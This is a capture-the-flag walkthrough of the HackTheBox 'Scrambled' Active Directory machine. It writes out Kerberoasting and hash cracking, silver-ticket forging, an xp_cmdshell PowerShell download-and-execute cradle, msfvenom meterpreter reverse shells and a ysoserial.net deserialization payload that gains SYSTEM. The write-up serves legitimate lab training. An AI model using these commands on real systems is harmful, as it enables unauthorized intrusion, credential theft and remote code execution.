HackTheBox - Scrambled
Configuration
If you’re using your own machine like me, you have to access HTB network via OpenVPN
:
1
sudo openvpn lab_access_file.ovpn
You have to be accurate here, you must understand that your machine is becoming accessable for other users in the VPN network. So you have to protect yourself by setting up a strong password and turning off unused services on your machine. Make sure you have a strong system and others can’t harm you.
It is very useful to append /etc/hosts/
with ip address of the machine. It is useful to get subdomains and to not memorize the address every time.
1
2
$ echo "10.10.11.168\tscrambled.htb" | sudo tee -a /etc/hosts
10.10.11.168 scrambled.htb
Reconnaissance
Port scan
We start with a port scan. I’ve decided to remove the masscan because of its problems with infinity wait after the work is done. So the script is changed and now executes only nmap.
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
if [[ $# != 1 ]]
then
echo -e "\e[0;31m[!]\e[0m Not specified a host or incorrect use."
exit 1
fi
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
$ fnmap 10.10.11.168
$ cat nmap_scan
# Nmap 7.92 scan initiated Mon Sep 26 12:12:19 2022 as: nmap -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49675,49676,49699,49703,60700 -A -oN nmap_scan 10.10.11.168
Nmap scan report for 10.10.11.168
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-26 12:12:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-26T12:15:40+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-26T12:15:39+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-09-25T22:57:23
|_Not valid after: 2052-09-25T22:57:23
|_ssl-date: 2022-09-26T12:15:40+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-26T12:15:40+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-26T12:15:39+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
60700/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.92%I=7%D=9/26%Time=6331972A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.
SF:3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDER
SF:S_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLS
SF:SessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAM
SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\
SF:.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourO
SF:hFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND
SF:;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_
SF:COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%
SF:r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk
SF:-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
SF:\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-09-26T12:15:03
|_ start_date: N/A
| ms-sql-info:
| 10.10.11.168:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
It is an Active Directory
(AD) domain, so the machine is Windows Server. There are also a web server
on port 80, SMB
server on port 445, MSSQL
server on port 1433 and some strange application on port 4411. Let’s start by enumerating a web application.
It can be useful to append domain and domain controller addresses to /etc/hosts
10.10.11.168 scrambled.htb scrm.local dc1.scrm.local
Foothold
There are Home
and IT Services
pages available. There is nothing interesting in Home page. In IT Services page we can see that NTLM
authentication is disabled on the domain.
Also, we can see some Resources
pages. They are very interesting for us. On the Contacting IT support
page we can see a screenshot of ksimpson
user desktop. We can note a domain username from it.
On Sales Orders App Troubleshooting
page we can see some custom application is here, but we can not find it from this step.
On Password Resets
page we can note that when the user wants to reset his password. It is becoming to be same as the username.
user.txt
Use Kerberos authentication
We’ve noted that NTLM is disabled on the domain, so we have to use Kerberos authentication. Kerberos is based on the tickets. But to request these tickets we have to specify the username and the password. The most useful tools are made in impacket scripts
.
Let’s suppose that the ksimpson user has the same password as its username. To request a ticket we have to use getTGT.py
impacket script. To use it we have to export it in our environment variable KRB5CCNAME
.
1
2
3
4
5
6
$ getTGT.py scrm.local/ksimpson:ksimpson
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in ksimpson.ccache
$ export KRB5CCNAME=ksimpson.ccache
Kerberoasting attack
Our next step is to perform some basic checks like Kerberoasting
on the user we’ve found. Kerberoasting can be performed to harvest Ticket Granting Service
(TGS) tickets for services that run on behalf of user accounts in the AD. In AD every service has its own User Account. So, when we request a TGS, it is encrypted with the service password and we can crack it offline.
We will use GetUserSPNs.py
impacket script here. We have to specify that we want to user Kerberos authentication with -k
, -no-pass
flags. Also, if something would be found here, we specify a request
flag to get services hashes.
1
GetUserSPNs.py scrm.local/ksimpson:ksimpson -k -dc-ip dc1.scrm.local -no-pass -request
We’ve got a Kerberos 5, etype 23, TGS-REP
hash here. It is associated with the user sqlsvc
, which is running MSSQL
server. We can crack it with JohnTheRipper
tool.
1
john --wordlist=~/tools/rockyou.txt sqlsvc_hash
Reverse shell with MSSQL
Our next step is to connect to the MSSQL. But we have to generate a ticket for the service, we can use impacket’s ticketer.py
script. But we have to get a Domain SID to do it. And there is impacket again with getPac.py
script.
1
getPac.py -targetUser sqlsvc scrm.local/sqlsvc:<sqlsvc password>
Now we can get a TGS to MSSQL server as a sqlsvc user. We nedd a NTLM hash and domain SID to generate it.
1
2
ticketer.py -spn MSSQLSvc/dc1.scrm.local -nthash <sqlsvc NTLM hash> -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local sqlsvc
export KRB5CCNAME=sqlsvc.ccache
Now we can connect to the MSSQL server. We will use impacket’s mssqlclient.py
here.
1
mssqlclient.py scrm.local/sqlsvc@dc1.scrm.local -no-pass -k
It is designed to get a Remote Code Execution
(RCE) on the server. So our next step is to get a reverse shell. I’ve made a payload in .ps1 file on my local machine. So the reverse shell will be downloaded from my machine and executed. I’ve chosen a PowerShell #3 (Base64) payload from Reverse Shell Generator. We have to save it to file.
1
2
enable_xp_cmdshell
xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\"http://<IP>:<PORT>/shell.ps1\")
Dump MSSQL database
The sqlsvc hasn’t got a user.txt flag, so we have to enumerate other user. We can dump the MSSQL datavase with PowerUpSQL.ps1 script. We can upload it on the machine with PowerShell’s wget
, it is an alias for Invoke-WebRequest
command. We have to specify the address and the output file here.
1
wget -Uri "http://<IP>:<PORT>/PowerUpSQL.ps1" -OutFile PowerUpSQL.ps1
It is a very powerful tool, you can use the cheatsheet to get some useful commands.
Our next step is to import the tool and dump some info about the databases. We can do it with Invoke-SQLDumpInfo
cmdlet.
1
Invoke-SQLDumpInfo -Verbose -Instance DC1
It will give a big output in a csv format. Our scope is databases and their tables here. The databases info is stored in <COMPUTER NAME>_Databases.csv
file.
The database is ScrambleHR
. Let’s see the tables and their columns. They are located in <COMPUTER NAME>_Database_columns.csv
file.
The most interesting here is UserImport
table with possible credentials in. We can dump the table with Get-SQLQuery
cmdlet.
1
Get-SQLQuery -Verbose -Instance DC1 -Query "SELECT * FROM ScrambleHR.dbo.UserImport"
And we’ve got some credentials. Now we can authenticate as miscsvc
user in our powershell session. I did a reverse shell as miscsvc user here.
1
2
3
4
$password = ConvertTo-SecureString "<miscsvc password>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("scrm.local\miscsvc", $password)
$sess = New-PSSession -Credential $cred -ComputerName DC1
Invoke-Command -Session $sess -ScriptBlock {powershell -e <Base64 encoded payload>}
But I’ve decided to get more cool Metasploit meterpreter
shell. So I made an executable with msfvenom
tool and setted up a listener in msfconsole.
1
2
3
4
5
6
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o meterpreter.exe
msfconsole -q
set payload windows/x64/meterpreter/reverse_tcp
set lhost <IP>
set lport <PORT>
run -j
Then, I’ve downloaded and executed it as miscsvc user.
1
2
wget -Uri "http://<IP>:<PORT>/meterpreter.exe" -OutFile meterpreter.exe
./meterpreter.exe
root.txt
Explore the machine
At first we upload winPEAS to get some info about the machine. With that we can explore that the ScrambleServer
service is running on port 4411.
Then, in the Shares
directory we can find a ScrambleClient
executable. We have to download it and explore on the local machine.
1
2
cd "C:\Shares\IT\Apps\Sales Order Client"
download *
Explore the ScrambleCorp client application
We can check the file is a .NET
application. So, we have to open it on our local Windows machine. Also, as we know the application is talking with a server on port, we have to connect to HackTheBox VPN on our Windows machine.
We do not know the username and the password. So our next step is to disassemble the application. We can do it with dnSpy tool. We have to import the application and its DLL file.
The ScrambleLib.dll
is a library which performs requests to a server. In the Logon
function we can find a bypass method. If we take the scrmdev
username we will be able to bypass the login.
So, let’s get the login. Also, do not forget to enable debug logging in the Edit
tab.
There are some orders, also we can paste a new order. We have to do it and then leave the application to check its logs. The scope of our interests is uploading the order. And we can find it in the logs.
The application formats the data with Binary formatter
and encodes it with Base64
. Then it sends it to the server with UPLOAD_ORDER;<payload>
command.
.NET deserialization attack
As we have seen, the application sends the data in serialized binary base64 format. So, the application performs deserialization on its side. We explored that the application is running as a service on the machine, which means it has NT AUTHORITY\SYSTEM
rights on the machine.
We can abuse it by performing a .NET deserialization attack
. The author of the machine has a blog post about this attack. We need a ysoserial.net tool. You can learn how to use it on its GitHub page and on HackTricks
I haven’t had an easy access to Windows machine, so I decided to upload this zip archived tool directly on the machine with our meterpreter shell. In Windows cmd, we can unzip the files with tar.exe
tool.
1
2
upload ysoserial-1.35.zip
shell
tar -xf ysoserial-1.35.zip
Our next step is to generate a payload for this application. We know that it is converting a .NET binary in base64 and sends it to the application. I’ve used a WindowsIdentity
gadget here. We specify here to execute powershell, download a reverse shell script from our machine and execute it. A choosed the same reverse shell payload as before here.
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell.exe Invoke-Command -Computer dc1 -ScriptBlock {IEX(New-Object Net.WebClient).downloadString('http://<IP>:<PORT>/shell.ps1')}"
Then, we have set up a listener, copy the payload and pass it in the application with UPLOAD_ORDER;
string.
1
2
3
4
$ nc dc1.scrm.local 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;<payload>
ERROR_GENERAL;Error deserializing sales order: Exception has been thrown by the target of an invocation.
The last line here indicates that the payload is deserialized and executed, because it has thrown an exception. The application did not recognized the “right” data here.
And we can check on our machine, the reverse shell gained.
The box is Pwn3d!
Conclusion
I’ve spent a lot of time to figure out how to use impacket correctly 😂. It was cool to learn more about Kerberos authentication and .NET deserialization. I’ve enjoyed the box a lot!
Thank you for reading, I hope it was useful for you ❤️